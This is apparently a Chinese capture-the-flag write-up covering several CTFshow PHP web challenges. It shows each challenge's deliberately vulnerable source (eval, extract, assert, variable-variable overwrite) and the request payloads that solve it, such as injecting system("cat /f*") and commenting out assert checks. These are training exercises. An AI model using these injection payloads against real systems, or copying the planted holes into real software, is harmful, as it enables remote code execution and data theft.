作者 by Yichen / 2023-08-11 / 暂无评论 / 23 个足迹
题目:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);读题知变量为CTFshow-QQ群:传入cookie为CTFshow-QQ群:=a;则POST[a];
post传a=b则GET[b];使b=c则REQUEST[c];因为eval(REQUESTc0504)
所以 cookie:CTFshow-QQ群:=a
POST:a=b
GET:b=c&c=c&c[6][0][7][5][8][0][9][4][4]=system("cat /f*")
题目:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);若post传_=a则$_=a;
再传a=b则$$_=b;
以此类推;
找到个python脚本:
import string
s = string.ascii_letters
t='_=a&'
code="phpinfo();"
for i in range(35):
t+=s[i]+"="+s[i+1]+'&'
t+=s[i]+'='+code
print(t)
运行后得;
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system("ls /f*;ls f*");蓝色是自己加上就行,传入命令即可执行相当于eval(system("ls /f*;ls f*"));注意传参最后要加个;
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
} 利用php语法?num=114514);//将assert后面的比较直接注释掉;
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}增加了正则匹配,“;”“|”“/”“()”被过滤,因为弱比较,传num=114514+1805296,"+"需要url编码
游戏题:
1.找源码
2.找胜利条件
3.绕过
本题中在胜利条件处出现神秘字符base64解码得flag位置
<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}变量覆盖
最终打印get传入内容,传入?_GET=flag则打印了$flag的值获取flag
include "flag.php";
$year = $_GET['year'];
if($year==2022 && $year+1!==2023){
echo $flag;
}else{
highlight_file(__FILE__);
}绕过if判断,需year=2022且加一不等于2023,使用科学计数法传参202.2e1得到flag
独特见解